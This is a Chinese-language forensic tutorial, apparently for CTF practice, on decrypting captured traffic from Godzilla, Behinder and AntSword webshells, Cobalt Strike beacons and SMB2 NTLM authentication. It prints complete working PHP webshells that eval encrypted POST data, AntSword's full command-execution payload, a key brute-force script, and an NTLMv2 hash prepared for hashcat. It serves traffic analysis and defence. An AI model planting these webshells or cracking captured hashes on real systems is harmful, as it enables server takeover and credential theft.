tshark的使用
webshell流量
哥斯拉流量
https://github.com/BeichenDream/Godzilla
分析版本:Godzilla 4.01
基本配置界面:

Password:请求参数名
Key:计算密钥的md5值,然后取其前16位用于加密过程
请求配置界面:

自定义header以及在请求时添加干扰数据
在 Manage -> GenerateShell 中生成webshell:

4种payload:

每种payload都可以选择不同的Encryptor,分析部分以PhpDynamicPayload为例
php_xor_base64
webshell:
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
上传到目标url下后续通过Target即可连上webshell
尝试执行whoami并用wireshark抓取流量进行分析:

请求包:
pass=fL1tMGI4YTljzn78f8Wo%2FyhTl1UCWCn3LmDlfWRkKzUxH296TG6bt%2B2%2F%2BxNczoCdLcxgKWf5RJxKpMRUFBQXAvtrNaTNJ38nzW6naG6Wzpc1qPSv%2BqPInQNVklSqrzuh8qmHp%2Fqjq%2F1uBQ6HEAG4ClwBUgFNPWFjapfQQTI0YQ%3D%3D
响应包:
11cd6a8758984163fL1tMGI4YTljO357H/pP+kzmKPpWiVHzUL/8e///TviE02cwwBczo3sxNTI=6c37ac826a2a04bc
可以发现请求包中是可以获取到密码配置信息的:pass
所以即使题目流量里没有给出上传的webshell,也可以通过爆破来获取密钥,原因在于响应包中是输出了拼接pass和key后的md5信息的:
echo substr(md5($pass.$key),0,16); // 前16位,本例中为 11cd6a8758984163
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16); // 后16位,本例中为 6c37ac826a2a04bc
真正的执行结果为:
fL1tMGI4YTljO357H/pP+kzmKPpWiVHzUL/8e///TviE02cwwBczo3sxNTI=
验证:

爆破脚本:
import hashlib
def md5_encode(text):
return hashlib.md5(text.encode('utf-8')).hexdigest()
def crack_key(key, pass_key_hash):
Pass = "pass"
for k in key:
key_hash_16 = md5_encode(k)[:16] # 密钥的md5前16位
hash = md5_encode(Pass + key_hash_16)
if pass_key_hash == hash:
print("爆破密钥成功")
print(f"密钥: {k}")
print(f"密钥md5前16位为 {key_hash_16}")
return k
print("密钥爆破失败")
if __name__ == '__main__':
hash_0_16 = "11cd6a8758984163"
hash_16_32 = "6c37ac826a2a04bc"
pass_key_hash = hash_0_16 + hash_16_32
# 设置key 爆破字典
with open("dict.txt",'r') as f:
key = f.read().split()
crack_key(key, pass_key_hash)

根据webshell中的encode逻辑,可以看出只是一个 xor + base64 操作,run函数里面才是真正执行命令的部分,要获取run函数只要修改一下原本的webshell,输出 $payload 即可,里面提到gzip编码输出以及解码输入:
function run($pms){
// ... (其他代码)
// *** Gzip 解码输入数据 ***
if (canCallGzipDecode()==1&&@isGzipStream($pms)){
$pms=gzdecode($pms); // 这里是关键点之一:对传入参数 $pms 进行 gzdecode
}
formatParameter($pms);
// ... (执行代码)
$result=@evalFunc(); // 获取执行结果
// ... (处理 Session 和错误)
// *** Gzip 编码输出结果 ***
if ($_SES!==null){ /* ... session save ... */ }
if (canCallGzipEncode()){
$result=gzencode($result,6); // 这里的关键点之二:对输出结果 $result 进行 gzencode
}
return $result;
}
直接用cyberchef就可以解出命令和执行结果,还要注意根据encode逻辑异或得从key的第二个字符开始:


php_eval_xor_base64
webshell:
<?php
eval($_POST["pass"]);
流量包:

执行的代码:

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
这里的pass变成了key:
key=fL1tMGI4YTljzn78f8Wo%2FyhTl1UCWCn3LmDlfWRkKzUxH296TG6bt%2B2%2F%2BxNczoCdLcxgKWf5RJxKpMRUFBQXAvtrNaTNJ38nzW6naG6Wzpc1qPSv%2BqPInQNVklSqrzuh8qmHp%2Fqjq%2F1uBQ6HEAG4ClwBUgFNPWFjapfQQTI0YQ%3D%3D
执行的命令:

执行结果:

php_xor_raw
本质上都是xor,与 php_xor_base64 的区别是没有进行base64编码,从流量中导出参数时需要设置为raw,cyberchef解密时加一层 from hex
webshell:
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
流量包:

ASCII -> Raw:

执行的命令:

执行结果:

冰蝎流量
https://github.com/rebeyond/Behinder
分析版本:Behinder 4.1
配置界面:

和哥斯拉不同的是每种加密函数都有对应的解密函数给出,默认密钥 e45e329feb5d925b
通过生成服务端来获取webshell,还是以php代码为例
default_xor_base64
Encrypt:
function Encrypt($data)
{
$key="e45e329feb5d925b";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";
$after=$bs($data."");
return $after;
}
Decrypt:
function Decrypt($data)
{
$key="e45e329feb5d925b";
$bs="base64_"."decode";
$after=$bs($data."");
for($i=0;$i<strlen($after);$i++) {
$after[$i] = $after[$i]^$key[$i+1&15];
}
return $after;
}
webshell:
<?php
@error_reporting(0);
function Decrypt($data)
{
$key="e45e329feb5d925b";
$bs="base64_"."decode";
$after=$bs($data."");
for($i=0;$i<strlen($after);$i++) {
$after[$i] = $after[$i]^$key[$i+1&15];
}
return $after;
}
$post=Decrypt(file_get_contents("php://input"));
@eval($post);
?>
流量包:

请求部分进行 base64 + xor 解密获取执行的命令:

@error_reporting(0);
function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function main($cmd,$path)
{
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(
array(
'pipe',
'r'
),
array(
'pipe',
'w'
),
array(
'pipe',
'w'
)
), $pipes);
$kWJW = NULL;
while (! feof($pipes[1])) {
$kWJW .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result));
return;
}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result));
}
function Encrypt($data)
{
$key="e45e329feb5d925b";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";
$after=$bs($data."");
return $after;
}
$cmd="Y2QgL2QgIkQ6XEFBQUNURlxXRUJccGhwU3R1ZHlfNjRccGhwc3R1ZHlfcHJvXFdXV1x0ZXN0XCImd2hvYW1p";$cmd=base64_decode($cmd);$path="RDovQUFBQ1RGL1dFQi9waHBTdHVkeV82NC9waHBzdHVkeV9wcm8vV1dXL3Rlc3Qv";$path=base64_decode($path);
main($cmd,$path);
可以看出执行的命令就是$cmd,命令执行目录为$path,返回的响应包中是一个encrypt过的json,里面有两条信息 $status 和 $msg,都是base64编码过的,其中$msg为执行结果:




aes_with_magic
Encrypt:
function Encrypt($data)
{
$key="e45e329feb5d925b";
$encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING));
$magicNum=hexdec(substr($key,0,2))%16;
for($i=0;$i<$magicNum;$i++)
{
$encrypted=$encrypted.chr(mt_rand(0, 255));
}
return $encrypted;
}
Decrypt:
function Decrypt($data)
{
$key="e45e329feb5d925b";
$magicNum=hexdec(substr($key,0,2))%16;
$data=substr($data,0,strlen($data)-$magicNum);
return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
}
webshell:
<?php
@error_reporting(0);
function Decrypt($data)
{
$key="e45e329feb5d925b";
$magicNum=hexdec(substr($key,0,2))%16;
$data=substr($data,0,strlen($data)-$magicNum);
return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
}
$post=Decrypt(file_get_contents("php://input"));
@eval($post);
?>
aes_with_magic 会在尾部添加几个随机字符用于干扰,长度根据 $magicNum 而定,比如本例中为4,又因为没有传入IV,所以解密时初始向量为 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
流量包,请求包尾部有4个额外字符:

解密出执行内容以后,后续解密执行命令和执行结果都与之前没有区别:

default_aes
webshell:
<?php
@error_reporting(0);
function Decrypt($data)
{
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
}
$post=Decrypt(file_get_contents("php://input"));
@eval($post);
?>
和aes_with_magic的唯一区别是没有干扰字符,直接就可以拿请求包的数据进行解密
中国蚁剑
https://github.com/AntSwordProject/antSword
蚁剑能配置自定义编码器:

这里用蚁剑自带的进行分析
webshell:
<?php
@eval($_REQUEST[1]);
?>
流量包:

URL Decode一下传入的参数:
1=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.6c8e53";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "e41"."be6d";echo @asenc($output);echo "d8c66d"."0bb0fb";}ob_start();try{$p=base64_decode(substr($_POST["beb61c5242a79d"],2));$s=base64_decode(substr($_POST["t785fa3d878e6e"],2));$envstr=@base64_decode(substr($_POST["g64b1274b158be"],2));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";if(substr($d,0,1)=="/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if(!empty($envstr)){$envarr=explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("
",$o));}elseif(fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('proc_open')){$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe('antsystem')){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();&beb61c5242a79d=UwY21k&g64b1274b158be=ne&t785fa3d878e6e=2fY2QgL2QgIkQ6L0FBQUNURi9XRUIvcGhwU3R1ZHlfNjQvcGhwc3R1ZHlfcHJvL1dXVy90ZXN0IiZ3aG9hbWkmZWNobyA1ZTYzMTFkMDQmY2QmZWNobyBmZGFjNzgyNTQx
分析一下可以知道:
$p=base64_decode(substr($_POST["beb61c5242a79d"],2)); // 程序路径
$s=base64_decode(substr($_POST["t785fa3d878e6e"],2)); // 实际命令
$envstr=@base64_decode(substr($_POST["g64b1274b158be"],2)); // 环境变量
蚁剑比较特殊的是会在参数值前加上2个干扰字符,所以就有了 substr 从第三个字符开始进行解码,并且在输出内容的前后加上特定的十六进制字符串 e41be6d 和 d8c66d0bb0fb,这也是蚁剑的特征:


Cobalt Strike流量
分析版本:Cobalt Strike 4.0
C/S架构:

cs分为客户端和服务器端,使用cs时必须要启用TeamServer服务器,需要有可执行权限,TeamServer功能:
控制 - Team Server是Cobalt Strike中所有payload的主控制器,与victim的所有连接 bind/reverse 都由Team Server管理。
日志记录 - Cobalt Strike中发生的所有事件 保存在logs文件夹
信息搜集 - 收集在后渗透阶段发现的、或攻击者在目标系统上用于登录的所有凭据credentials
自定义脚本 - cat teamserver可看到该文件是一个简单的bash脚本(可根据自己要求修改) 调用Metasploit RPC服务msfrpcd并启动服务器cobaltstrike.jar
cs使用基本流程:
1.启动TeamServer
2.Client登录TeamServer
启动TeamServer,默认端口50050,可以通过编辑teamserver文件修改:
$ sudo ./teamserver
[*] Will use existing X509 certificate and keystore (for SSL)
[*] ./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
<host> is the (default) IP address of this Cobalt Strike team server
<password> is the shared password to connect to this server
[/path/to/c2.profile] is your Malleable C2 profile
[YYYY-MM-DD] is a kill date for Beacon payloads run from this server
<host>:必填,服务器公网ip或域名
<password>:必填,客户端Client GUI连接服务器TeamServer的密码
[/path/to/c2.profile]:选填,指定C2通信配置文件
[YYYY-MM-DD]:所有payload的终止日期
Client登录TeamServer,启动cobaltstrike.jar:
java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
需要填写一些基本信息:

可通过Cobalt Strike - > Preferences - > Team Servers维护本地的登录信息配置文件的列表team server profiles
登陆成功后就能看到GUI界面
Cobalt Strike - > Preferences - > Listeners,cs4.0 一共8种listener:

http-beacon
配置listener:

生成windows可执行程序,staged对应artifact.exe,stageless对应beacon.exe,有明显的大小区别并且stageless没有stage下载的步骤:

以artifact.exe为例进行流量抓取和分析:
靶机运行stager后会自动进行stage下载,stager对应的请求路径并非真实存在,比如 /WCTo,但是满足一定要求 (checksum8),路径的 ascii 之和与 256 取余计算值得到结果,32位后门结果为92,64位后门结果为93,这样stager就知道要返回stage:

可以用 metatool 来检验一下:

用 1768.py 来分析 stage,如果存在已知私钥会在publickey之后显示 Has Known private key,本例并不存在已知私钥:

stage 被加载和执行后的运行状态也就是最终的恶意程序Beacon,Beacon 与 C2 服务器之间的加密机制采用混合加密模式,以确保通信的机密性和效率:
公钥交换与会话建立 (元数据加密): 在 Beacon 首次连接(或心跳回连)时,它会使用内置的 C2 公钥 (RSA) 来加密一个随机生成的会话密钥 (Session Key) 和初始元数据
私钥解密: Team Server 收到该数据后,使用其对应的 私钥 (RSA) 将其解密,从而安全地获得这个一次性的会话密钥
对称加密 (后续通信): 一旦会话密钥建立,Beacon 与 C2 之间的后续所有命令、执行结果和数据传输,都将使用这个会话密钥进行 AES 对称加密

可以根据 1768.py 脚本执行结果对cs流量进行初步分析:
0x0001 payload type 0x0001 0x0002 0 windows-beacon_http-reverse_http
0x0002 port 0x0001 0x0002 80
0x0003 sleeptime 0x0002 0x0004 60000
0x0007 publickey 0x0003 0x0100 30819f300d06092a864886f70d010101050003818d0030818902818100ad0a7e620a2f982cecd21f35961a7d02002ff6e04c5ca148398c8bfb4beadc72b337efe5b7fe0219fb54f9a17d70fd3d20e3c62b53e96813a0b077045cd4b7ef9e743450a85ba8d25bb65500c00bcdcd00594d54d0da24829827cbb5a64248e082165c024ddbb31e117a69a49893d3006e8b3b74f8c8a577b96ad2b9f8af04cf020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0x0008 server,get-uri 0x0003 0x0100 '192.168.50.128,/IE9CompatViewList.xml'
0x000a post-uri 0x0003 0x0040 '/submit.php'
payload类型即监听器类型,心跳包间隔时间,回连ip/端口,get/post请求路径这些关键信息都有,方便后续从流量里定位重要信息
先来看GET的流量包:

C2 Profile 决定了元数据编码的位置,本例中利用 Cookie 携带信息 (Metadata) 传递给C2服务器,可以用 cs-decrypt-metadata.py 来解密元数据,但是需要用到私钥,如果是题目可能会给出私钥文件 .cobaltstrike.beacon_keys,这时可以用 parse_beacon_keys.py 来解析出公私钥:

将私钥变成hex形式:

再用 cs-decrypt-metadata.py 解出 rawkey, aeskey 和 hmackey,可以看到还有靶机ip 用户名等信息:

最后就可以用 cs-parse-http-traffic.py 来解密整段cs流量,需要提供原始密钥 rawkey:

从第478个包开始响应中包含需要执行的命令,但是直接过滤器配置 frame.number >= 278 即可,避免遗漏命令,可以发现我抓取的整段cs流量最终在靶机上只执行了一个命令 whoami
cs流量分析利用到的工具:
https://github.com/DidierStevens/DidierStevensSuite/blob/master/1768.py
https://github.com/DidierStevens/Beta/blob/master/metatool.py
https://github.com/DidierStevens/DidierStevensSuite/blob/master/cs-decrypt-metadata.py
https://github.com/Slzdude/cs-scripts/blob/master/parse_beacon_keys.py
https://github.com/DidierStevens/Beta/blob/master/cs-parse-http-traffic.py
SMB2
解密SMB2流量需要构造哈希进行爆破获取密码,格式:username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response
过滤器设置ntlmssp来获取认证握手,NTLMSSP_AUTH包中Security Blob层:

再过滤ntlmssp.ntlmserverchallenge:

构造出完整哈希,注意流量里的ntlmv2response开头为NTproofstring,需要删除:
root::.:924ca077500cd533:e43ae3e491ffe96bca5383b9c0bc4946:0101000000000000b6ca87356b64dc01eca054741fa479e600000000020008004b0041004c004900010008004b0041004c00490004000000030008006b0061006c00690007000800b6ca87356b64dc0106000400020000000800300030000000000000000100000000200000e5528e00f4d9b3bf475abbb1d4e90ac0163587fccd7d2e8aafdb9b455327e48d0a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00350030002e003100320038000000000000000000
也可以直接通过NTLMv2 hash抓取工具NTLMRawUnHide来直接获取哈希:

hashcat爆破密码:

如果要查看通过SMB传输的文件,在wireshark中导出SMB对象即可:

参考资料:
https://goodlunatic.github.io/posts/5422d65/
https://www.ddosi.org/cobaltstrike/
https://xz.aliyun.com/news/3607
https://www.ddosi.org/cs-decrypt-1/